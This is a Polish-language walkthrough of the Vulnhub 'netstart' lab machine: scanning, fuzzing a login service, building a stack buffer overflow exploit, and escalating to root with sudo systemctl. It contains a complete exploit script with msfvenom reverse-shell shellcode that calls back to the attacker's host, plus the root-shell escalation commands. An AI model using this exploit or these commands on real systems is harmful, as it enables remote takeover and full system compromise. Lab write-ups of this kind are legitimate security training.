Zaczynam od znalezienia IP maszyny.

netdiscover

[parrot@parrot][/opt/twint]
└╼[]$sudo netdiscover -r 192.168.2.0/24

Currently scanning: Finished!   |   Screen View: Unique Hosts                               
                                                                                             
 8 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 480                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:08      4     240  VMware, Inc.                              
 192.168.2.2     00:50:56:f0:ed:fa      1      60  VMware, Inc.                              
 192.168.2.130   00:0c:29:a9:6b:27      1      60  VMware, Inc.                              
 192.168.2.148   00:0c:29:0a:3a:b3      1      60  VMware, Inc.                              
 192.168.2.254   00:50:56:f3:5b:b0      1      60  VMware, Inc.

IP maszyny Vulnhub: 192.168.2.148. IP Windowsa z Immunity Debugger: 192.168.2.130 IP mojego Linuxa, z którego atakuję: 192.168.2.128


NMap

nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /home/parrot/vulnhub/netstart/results/scans/results/scans/_full_tcp_nmap.txt -oX /home/parrot/vulnhub/netstart/results/scans/results/scans/xml/_full_tcp_nmap.xml 192.168.2.148
Nmap scan report for 192.168.2.148
Host is up, received arp-response (0.0036s latency).
Scanned at 2022-08-30 22:34:24 CEST for 63s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    REASON         VERSION
21/tcp   open  ftp        syn-ack ttl 64 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           50992 Nov 16  2020 login.exe
|_-rw-r--r--    1 0        0           28613 Nov 16  2020 login_support.dll
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.2.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
2371/tcp open  worldwire? syn-ack ttl 64
| fingerprint-strings: 
|   Arucer, DNSStatusRequestTCP, DNSVersionBindReqTCP, DistCCD, FourOhFourRequest, GenericLines, GetRequest, HELP4STOMP, HTTPOptions, Hello, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, Memcache, NCP, NULL, NessusTPv10, NessusTPv11, NessusTPv12, NotesRPC, OfficeScan, RPCCheck, RTSPRequest, Radmin, SIPOptions, SMBProgNeg, SSLSessionReq, SSLv23SessionReq, Socks4, Socks5, SqueezeCenter_CLI, TLSSessionReq, TerminalServer, TerminalServerCookie, Verifier, VerifierAdvanced, WMSRequest, WWWOFFLEctrlstat, X11Probe, ZendJavaBridge, afp, ajp, apple-iphoto, beast2, dominoconsole, drda, firebird, gkrellm, hp-pjl, ibm-db2, ibm-db2-das, ibm-mqseries, informix, metasploit-xmlrpc, ms-sql-s, mydoom, oracle-tns, pervasive-btrieve, pervasive-relational: 
|_    Password:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2371-TCP:V=7.92%I=9%D=8/30%Time=630E748E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,B,"Password:\n\0")%r(GenericLines,B,"Password:\n\0")%r(GetRequest,B,
SF:"Password:\n\0")%r(HTTPOptions,B,"Password:\n\0")%r(RTSPRequest,B,"Pass
SF:word:\n\0")%r(RPCCheck,B,"Password:\n\0")%r(DNSVersionBindReqTCP,B,"Pas
SF:sword:\n\0")%r(DNSStatusRequestTCP,B,"Password:\n\0")%r(Hello,B,"Passwo
SF:rd:\n\0")%r(Help,B,"Password:\n\0")%r(SSLSessionReq,B,"Password:\n\0")%
SF:r(TerminalServerCookie,B,"Password:\n\0")%r(TLSSessionReq,B,"Password:\
SF:n\0")%r(SSLv23SessionReq,B,"Password:\n\0")%r(Kerberos,B,"Password:\n\0
SF:")%r(SMBProgNeg,B,"Password:\n\0")%r(X11Probe,B,"Password:\n\0")%r(Four
SF:OhFourRequest,B,"Password:\n\0")%r(LPDString,B,"Password:\n\0")%r(LDAPS
SF:earchReq,B,"Password:\n\0")%r(LDAPBindReq,B,"Password:\n\0")%r(SIPOptio
SF:ns,B,"Password:\n\0")%r(LANDesk-RC,B,"Password:\n\0")%r(TerminalServer,
SF:B,"Password:\n\0")%r(NCP,B,"Password:\n\0")%r(NotesRPC,B,"Password:\n\0
SF:")%r(DistCCD,B,"Password:\n\0")%r(JavaRMI,B,"Password:\n\0")%r(Radmin,B
SF:,"Password:\n\0")%r(NessusTPv12,B,"Password:\n\0")%r(NessusTPv11,B,"Pas
SF:sword:\n\0")%r(NessusTPv10,B,"Password:\n\0")%r(WMSRequest,B,"Password:
SF:\n\0")%r(oracle-tns,B,"Password:\n\0")%r(mydoom,B,"Password:\n\0")%r(WW
SF:WOFFLEctrlstat,B,"Password:\n\0")%r(Verifier,B,"Password:\n\0")%r(Verif
SF:ierAdvanced,B,"Password:\n\0")%r(Socks5,B,"Password:\n\0")%r(Socks4,B,"
SF:Password:\n\0")%r(OfficeScan,B,"Password:\n\0")%r(ms-sql-s,B,"Password:
SF:\n\0")%r(HELP4STOMP,B,"Password:\n\0")%r(Memcache,B,"Password:\n\0")%r(
SF:beast2,B,"Password:\n\0")%r(firebird,B,"Password:\n\0")%r(ibm-db2-das,B
SF:,"Password:\n\0")%r(ibm-db2,B,"Password:\n\0")%r(pervasive-relational,B
SF:,"Password:\n\0")%r(pervasive-btrieve,B,"Password:\n\0")%r(ajp,B,"Passw
SF:ord:\n\0")%r(hp-pjl,B,"Password:\n\0")%r(afp,B,"Password:\n\0")%r(Squee
SF:zeCenter_CLI,B,"Password:\n\0")%r(Arucer,B,"Password:\n\0")%r(dominocon
SF:sole,B,"Password:\n\0")%r(informix,B,"Password:\n\0")%r(drda,B,"Passwor
SF:d:\n\0")%r(ibm-mqseries,B,"Password:\n\0")%r(apple-iphoto,B,"Password:\
SF:n\0")%r(ZendJavaBridge,B,"Password:\n\0")%r(gkrellm,B,"Password:\n\0")%
SF:r(metasploit-xmlrpc,B,"Password:\n\0");
MAC Address: 00:0C:29:0A:3A:B3 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=8/30%OT=21%CT=1%CU=41661%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=630E748F%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Uptime guess: 47.273 days (since Thu Jul 14 16:02:08 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix

Mamy dwa otwarte porty: 21 oraz 2371. Widzimy już ze skanu nmapa, że na ftp mamy dwa pliki potrzebne do Buffer Overflow. Sprawdziłem też port 2171.

Port po zapytaniu prosi o hasło.

[parrot@parrot][~/vulnhub/netstart]
└╼[]$nc 192.168.2.148 2371
Password:
test

Windows 10 + login.exe

Przygotowałem wcześniej środowisko, na którym przeprowadzę exploit. IP Windowsa to 192.168.2.130. Uruchomiłem aplikację w programie Immunity Debugger. Teraz przy próbie połączenia na porcie 2371 otrzymujemy zapytanie o hasło, czyli wszystko jest w porządku.

Przystępuję do działania. Zaczynam od fuzzingu portu. Sprawdzę na ilu przygotowanych bajtach ciągu liter A program się wysypie.


fuzzer.py

#!/usr/bin/env python3

import socket, time, sys

ip = "192.168.2.130"

port = 2371
timeout = 5
prefix = ""

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Jak widać nasz skrypt ma ustawione IP oraz port na Windowsa z naszym pliczkiem .exe. Działanie jest proste, ponieważ skrypt próbuje wejść na ten określony port i wysyła określoną liczbę bajtów ciągu znaków A aż program się scrashuje. Jeżeli program się wyłączy, skrypt podaje po ilu set takich A nastąpił ten crash.

Działanie skryptu:

[parrot@parrot][~/vulnhub/netstart/buff]
└╼[]$python3 fuzzer.py                                              
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing crashed at 1700 bytes

Jak widać juz po 1700 bajtach scrashowało program. Widać to również w Windowsie w Immunity Debuggerze.

Teraz kiedy już znamy tą liczbę, możemy stworzyć specjalny pattern, przez co ustalimy dalsze kroki działania. Użyję do tego narzędzia z pakietu Metasploit a dokładnie pattern_create.rb.

[parrot@parrot][~/vulnhub/netstart/buff]
└╼[]$/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9

exploit.py

import socket
ip = "192.168.2.130"
port = 2371

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Mamy podobny program do tego poprzedniego, jednak tutaj będzie działo się wiele więcej. Z najważniejszych rzeczy mamy IP, port, offset, retn, padding, payload. Każdą z tych zmiennych będziemy modyfikować. Oczywiście poza IP oraz portem.

Działanie programu:

[parrot@parrot][~/vulnhub/netstart/buff]
└╼[]$python3 exploit.py       
Sending evil buffer...
Done!

Całość zadziała się na Windowsie. Program scrashował, co jest dla nas dobrym znakiem. Teraz korzystamy z modułu mona w Immunity Debugger.

!mona findmsp -distance 1800

Dla nas najważniejsze jest dostanie się do EIP. Komenda powyżej umożliwia nam odkrycie zmiennej offset. Jest to pierwsza potrzebna zmienna do kontynuacji eksploitacji. Zaznaczona linia na screenshocie zawiera ciąg offset 1702.

Teraz gdy już mam tą daną, modyfikuję i ustawiam:

  • offset = “1702”
  • payload = ""
  • retr = “BBBB”

Dzięki ostatniej zmiennej retr sprawdzę, czy wszystko idzie zgodnie z planem, ale o tym zaraz.

Po uruchomieniu widzimy, że EAX jest nadpisany samymi A a EIP zostało wpisane tajemnicze 42424242. Jak się okazuje, jest to ciąg znaków BBBB, ale zapisany w systemie szesnastkowym. W ten sposób sprawdziłem, czy to co wpiszę w retr faktycznie zostanie wpisane w rejestr EIP. Teraz mamy już połowę sukcesu.

Następny krok to sprawdzenie tzw. bad characters. W tym celu pod zmienną payload zapisuję taki ciąg znaków.

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Są to zapisane szesnastkowo kolejne znaki od 0,1,2,…a,b,c,…,A,B,C,Z…

Mniej więcej tak wyglądają te znaki. Większość jest czytelna, ale to nie jest istotne.

Generowanie .bin do porównywania bez określonych znaków:

!mona bytearray -b "\x00"

Po każdym crashu kopiowałem adres ESP i porównywałem wyniki.

!mona compare -f "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\bytearray.bin" -a 0107FB48

BadChars = "00 01 02 03 04 2d"

W tym przypadku konsola pokazywała dziwne wyniki, gdy usuwałem kolejne chary. Bardziej sugerowałem się poprzez Follow in Dump rejestru ESP.

Oczywiście wspomagałem się też porównywaniem w konsoli, za każdym razem generując za każdym razem nowy plik .bin i usuwając kolejne bad chary.

!mona compare -f "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\bytearray.bin" -a 00FDFB48

Ostatecznie doszedłem do momentu gdzie miałem 8 bad charów łącznie z \x00.

!mona bytearray -b "\x00\x2d\x2e\x46\x47\x59\x5e\x60"

Następnie sprawdziłem adres JMP.

!mona jmp -r esp -cpb "\x00\x2d\x2e\x46\x47\x59\x5e\x60"

Adres to 0x625012B8, ale wpisuje w mój plik exploit.py adres w odwrócony sposób.

Niestety miałem problemy z uzyskaniem reverse shella z mojego Windowsa, ale przygotowałem na gotowo payload na Linuxa i wszystko zadziałało. Nie wiem gdzie był problem.

Wygenerowałem shellcode msfvenom na adres IP mojego Linuxa, określony port, oraz dokładnie te bad chary, które znalazłem.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.2.128 LPORT=1237 EXITFUNC=thread -b "\x00\x2d\x2e\x46\x47\x59\x5e\x60" -f c

Finalny exploit.py:

import socket
ip = "192.168.2.148"
port = 2371

prefix = ""
offset = 1702
overflow = "A" * offset
retn = "\xc5\x12\x50\x62"
padding = "\x90" * 16
payload=("\x31\xc9\xb1\x11\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93"
"\xba\xd5\xb3\x83\xeb\xfc\xe2\xf4\xa2\x61\x22\x50\xc0\xf9\x86"
"\xd9\x91\x33\x34\x03\xf5\x77\x55\x20\xca\x0a\xea\x7e\x13\xf3"
"\xac\x4a\xfb\x7a\x7d\xb1\x13\xd2\xd7\xb3\x97\x6f\x5c\x52\x23"
"\xdc\x85\xe2\xc0\x09\xd6\x3a\x72\x77\x55\xe1\xfb\xd4\xfa\xc0"
"\xfb\xd2\xfa\x9c\xf1\xd3\x5c\x50\xc1\xe9\x5c\x52\x23\xb1\x18"
"\x33")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Widzimy zmienną offset, retn, o której mówiłem wcześniej z odwróconym adresem. Dodałem też padding, aby wszystko zadziałało poprawnie. Uzyskałem połączenie na danym porcie.

local.txt

75894c2b3d5c3b78372af63694cdc659


Privileges Escalation

User fox ma dostęp do komendy /usr/bin/systemctl z uprawnieniami administratora, bez hasła.

Zatem zgodnie z GTFOBins wystarczy

sudo /usr/bin/systemctl
!sh

i mamy roota 😁


Root proof

f632f5eaffa5607c961e22ba40291ab7